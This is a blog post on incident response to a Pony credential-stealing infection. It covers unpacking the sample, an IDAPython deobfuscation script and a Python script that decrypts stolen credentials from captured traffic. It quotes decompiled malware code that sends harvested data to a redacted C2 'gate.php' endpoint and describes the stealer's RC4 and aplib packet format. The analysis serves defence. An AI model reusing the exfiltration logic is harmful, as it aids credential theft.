# Practical Threat Hunting and Incidence Response : A Case of A Pony Malware Infection **[int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection](https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection)** July 30, 2019 Most organizations opt for an incidence response, after a catastrophic cyber security event has taken place . Incidence response and threat hunting focus on events that happen after an endpoint is hit by a cyber attacks,for example a malware infection . One of the main goals of a holistic approach for threat hunting and incidence response is to determine the extent of damages done by the attack and recover as much possible from it . In this blog post, I will present a scenario of threat hunting and Incidence response out of a malware infection on an endpoint . First step in threat hunting is to look for infection markers, and a basic way to figure out a malware infection is to look for any suspicious running processes Quickly we are able to locate a suspicious running process named as _Pckntl.exe . This is what most people do next, upload the file to virus total, but often times it_ does no justice . ----- By all means, this malware seems to be packed and obfuscated, perhaps why none of the anti virus/endpoint systems were able to detect this file with full confidence . And, this is where we will have to get our hands dirty and do the nasty work . We have to do some manual work on this file . As soon as we dig bit deeper, we immediate figure out this is a VB 6 packed file . Decompiling the file revels lots of name mangling and obfuscation used. ----- Code behind the VB 6 packer is irrelevant to our analysis, unless you have got lot of free time in your hands . Instead of banging our heads around this useless code, we will let it run and break in between to get a look at the real hidden code behind this packer After running it for a while, we attach debugger and the hidden code is finally revealed ----- There are lot of strings and functions calls in this code, which probably means that this is the final layer of unpacked malware and consequently we dump the code to file system The obvious next task would be to correctly identify this malicious code . Earlier, we had no luck with VirusTotal, so this time instead of using virus total, we will use this amazing malware identification platform known as Malpedia created by Daniel Plohmann. This system is great for maching with Yara rules written by community, and it does have a plethora of Yara mules to match against . And Wow!, Malpedia didn’t disappoint us . Impressive system . Immediately, this great system was able to figure out which malware this belongs to . Malpedia was able to identify this samples as Pony trojan . Now what does this pony malware do ? ----- A pony malware is a credential harvesting malware . we will have to resurrect the forensic investigator in all of us :P . As its happens to be a credential harvester and the endpoint was infected, most certainly so credentials were exfiltrated from network . This is where incidence response comes into play . We will investigate about the exfiltrated credentials and possibly recover them . As we notice the captured PCAP file, it is quite obvious that the exfiltrated data is in someways encrypted But before we start feeling lucky, we have got another hurdle in front of us . The malware has control flow obfuscation in its code . This makes analysis terribly difficult and defeats IDA’s static analysis engine ----- It uses stack to align control flow, with some instructions in-between which have no side effects on EIP. In order to recover from this mess and allow IDA to recognize subroutines with proper stack alignment, we will write an IDAPython script to deobfuscate this bad boy ``` AntiDisam = 0 Debug = 0 def WriteMem(addr, buff): global Debug if Debug: DbgWrite(addr, buff) else: for i in buff: PatchByte(addr, ord(i)) addr = addr + 1 return while 1: blackList = [0x00410621,0x004105C3 ] AntiDisam = FindBinary(AntiDisam + 1, SEARCH_DOWN, "55 8B EC 5D 68 ?? ?? ?? ?? F8 72 01") print hex(AntiDisam) if AntiDisam == 0xffffffff: break if AntiDisam in blackList: WriteMem(AntiDisam + 3, "\x90" * 11) continue WriteMem(AntiDisam, "\x90" * 14) ``` ----- ** Before and after executing script ** We start analysing from the place it sends exfiltrated data to c2 ``` if ( pstm && GeneratePacket(pstm, &Data) == 1 ) { for ( i = “http://XXXX/gate.php”; *i && !v0; ++i ) { v3 = 2; while ( 1 ) { v4 = 0; if ( SendPacket(i, pstm, (int)&v4) ) { if ( v4 ) { v0 = sub_40FB14(v4); if ( !v0 ) { if ( sub_401BC0(v4) ) v0 = sub_40FB14(v4); } } } ``` ----- An abridged version of our analysis would be the following Data is recovered from saved password of many applications ( FTP, EMail, Browser, bitcoin ) Header and metadata information is appended to packet ( PWD FILE 01 version and magic with length fields ) This packet is compressed using APLIB Another packet header is appended with header CRYPTED0 magic, subsequently this packet is encrypted using RC4 with a hardcoded key Furthermore, this packet is again encrypted using RC4, but this time with a randomly generated key, appended to the packet at first 4 bytes It would be relatively easy to convert this narrative into a python code and decrypt the exfiltrated data from PCAP file ``` import struct import aplib import sys def main(): ciphertext = open(sys.argv[1], "rb").read() key =ciphertext[0:4] ciphertext = ciphertext[4:].encode("hex") decrypted = decrypt(key, ciphertext) key = "K!K" ciphertext = decrypted[8:].encode("hex") decrypted = decrypt(key, ciphertext) open("FinalOutput", "wb").write(aplib.decompress(decrypted[0x0c + 4:])) main() ``` ``` Python Decrypt.py Ouput.bin ``` ----- And finally we get to see the exfiltrated credentials in plain text . Attackers managed to steal some Email credentials and FTP logins 24 Kudos 24 Kudos -----